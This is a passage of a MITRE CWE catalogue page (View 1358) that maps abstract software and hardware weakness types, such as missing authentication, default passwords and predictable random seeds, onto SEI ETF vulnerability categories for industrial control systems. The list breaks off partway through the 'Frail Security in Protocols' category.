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Home > CWE List > VIEW SLICE: CWE-1358: Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS (4.17)  
ID

CWE VIEW: Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS

View ID: 1358
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Type: Graph
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+ Objective
CWE entries in this view (graph) are associated with the Categories of Security Vulnerabilities in ICS, as published by the Securing Energy Infrastructure Executive Task Force (SEI ETF) in March 2022. Weaknesses and categories in this view are focused on issues that affect ICS (Industrial Control Systems) but have not been traditionally covered by CWE in the past due to its earlier emphasis on enterprise IT software. Note: weaknesses in this view are based on "Nearest IT Neighbor" recommendations and other suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Audience
Stakeholder Description
Hardware Designers ICS/OT hardware designers can use this view to ensure a minimal set of weaknesses that should be avoided or mitigated during the design process.
Product Vendors Product vendors can use this view to ensure that all aspects of the product lifecycle address these weaknesses.
Assessment Tool Vendors Assessment tool vendors that help to assess potential weaknesses, or avoid them, can use this view to improve their tool's coverage to address more weaknesses.
Academic Researchers Academic researchers can use this view to identify potential research opportunities that could produce better methods for detection or avoidance of weaknesses in ICS/OT products.
+ Relationships
The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are special CWE entries used to group weaknesses that share a common characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically independent of any specific language or technology. Base level weaknesses are used to present a more specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.
Show Details:
1358 - Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Communications - (1359)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications)
Weaknesses in this category are related to the "ICS Communications" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Communications: Zone Boundary Failures - (1364)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures)
Weaknesses in this category are related to the "Zone Boundary Failures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Within an ICS system, for traffic that crosses through network zone boundaries, vulnerabilities arise when those boundaries were designed for safety or other purposes but are being repurposed for security." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Removal of Sensitive Information Before Storage or Transfer - (212)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 212 (Improper Removal of Sensitive Information Before Storage or Transfer)
The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Privilege Chaining - (268)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 268 (Privilege Chaining)
Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Privilege Management - (269)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 269 (Improper Privilege Management)
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Authentication - (287)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 287 (Improper Authentication)
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. authentification AuthN AuthC
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass Using an Alternate Path or Channel - (288)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 288 (Authentication Bypass Using an Alternate Path or Channel)
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 306 (Missing Authentication for Critical Function)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Race Condition
* Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. Session Fixation - (384)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 384 (Session Fixation)
Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unrestricted Upload of File with Dangerous Type - (434)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 434 (Unrestricted Upload of File with Dangerous Type)
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Unrestricted File Upload
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Download of Code Without Integrity Check - (494)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 494 (Download of Code Without Integrity Check)
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Trust Boundary Violation - (501)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 501 (Trust Boundary Violation)
The product mixes trusted and untrusted data in the same data structure or structured message.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Exposure of Resource to Wrong Sphere - (668)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 668 (Exposure of Resource to Wrong Sphere)
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Incorrect Resource Transfer Between Spheres - (669)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 669 (Incorrect Resource Transfer Between Spheres)
The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Check for Unusual or Exceptional Conditions - (754)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 754 (Improper Check for Unusual or Exceptional Conditions)
The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Functionality from Untrusted Control Sphere - (829)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 829 (Inclusion of Functionality from Untrusted Control Sphere)
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Isolation of Shared Resources on System-on-a-Chip (SoC) - (1189)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 1189 (Improper Isolation of Shared Resources on System-on-a-Chip (SoC))
The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Physical Access Control - (1263)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 1263 (Improper Physical Access Control)
The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Non-Transparent Sharing of Microarchitectural Resources - (1303)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 1303 (Non-Transparent Sharing of Microarchitectural Resources)
Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Default Password - (1393)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 1393 (Use of Default Password)
The product uses default passwords for potentially critical functionality.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Communications: Unreliability - (1365)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability)
Weaknesses in this category are related to the "Unreliability" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise in reaction to disruptions in the physical layer (e.g. creating electrical noise) used to carry the traffic." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Stack-based Buffer Overflow - (121)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 121 (Stack-based Buffer Overflow)
A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). Stack Overflow
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Privilege Management - (269)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 269 (Improper Privilege Management)
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 306 (Missing Authentication for Critical Function)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Acceptance of Extraneous Untrusted Data With Trusted Data - (349)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 349 (Acceptance of Extraneous Untrusted Data With Trusted Data)
The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Race Condition
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Untrusted Inputs in a Security Decision - (807)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 807 (Reliance on Untrusted Inputs in a Security Decision)
The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Protection Against Voltage and Clock Glitches - (1247)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1247 (Improper Protection Against Voltage and Clock Glitches)
The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Handling of Single Event Upsets - (1261)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1261 (Improper Handling of Single Event Upsets)
The hardware logic does not effectively handle when single-event upsets (SEUs) occur.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Handling of Faults that Lead to Instruction Skips - (1332)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1332 (Improper Handling of Faults that Lead to Instruction Skips)
The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Handling of Hardware Behavior in Exceptionally Cold Environments - (1351)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1351 (Improper Handling of Hardware Behavior in Exceptionally Cold Environments)
A hardware device, or the firmware running on it, is missing or has incorrect protection features to maintain goals of security primitives when the device is cooled below standard operating temperatures.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Handling of Physical or Environmental Conditions - (1384)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1384 (Improper Handling of Physical or Environmental Conditions)
The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Communications: Frail Security in Protocols - (1366)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols)
Weaknesses in this category are related to the "Frail Security in Protocols" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise as a result of mis-implementation or incomplete implementation of security in ICS implementations of communication protocols." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Stack-based Buffer Overflow - (121)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 121 (Stack-based Buffer Overflow)
A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). Stack Overflow
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Out-of-bounds Read - (125)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 125 (Out-of-bounds Read)
The product reads data past the end, or before the beginning, of the intended buffer. OOB read
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Privilege Chaining - (268)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 268 (Privilege Chaining)
Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Privilege Management - (269)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 269 (Improper Privilege Management)
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incorrect Default Permissions - (276)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 276 (Incorrect Default Permissions)
During installation, installed file permissions are set to allow anyone to modify those files.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass by Spoofing - (290)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 290 (Authentication Bypass by Spoofing)
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 306 (Missing Authentication for Critical Function)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Missing Encryption of Sensitive Data - (311)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 311 (Missing Encryption of Sensitive Data)
The product does not encrypt sensitive or critical information before storage or transmission.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Storage of Sensitive Information - (312)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 312 (Cleartext Storage of Sensitive Information)
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Transmission of Sensitive Information - (319)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 319 (Cleartext Transmission of Sensitive Information)
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Cryptographic Step - (325)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 325 (Missing Cryptographic Step)
The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Use of a Broken or Risky Cryptographic Algorithm - (327)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 327 (Use of a Broken or Risky Cryptographic Algorithm)
The product uses a broken or risky cryptographic algorithm or protocol.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Use of Insufficiently Random Values - (330)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 330 (Use of Insufficiently Random Values)
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Same Seed in Pseudo-Random Number Generator (PRNG) - (336)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 336 (Same Seed in Pseudo-Random Number Generator (PRNG))
A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Predictable Seed in Pseudo-Random Number Generator (PRNG) - (337)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 337 (Predictable Seed in Pseudo-Random Number Generator (PRNG))
A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Predictable from Observable State - (341)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 341 (Predictable from Observable State)
A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Acceptance of Extraneous Untrusted Data With Trusted Data - (349)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 349 (Acceptance of Extraneous Untrusted Data With Trusted Data)
The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improperly Implemented Security Check for Standard - (358)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 358 (Improperly Implemented Security Check for Standard)
The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Race Condition
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insecure Temporary File - (377)
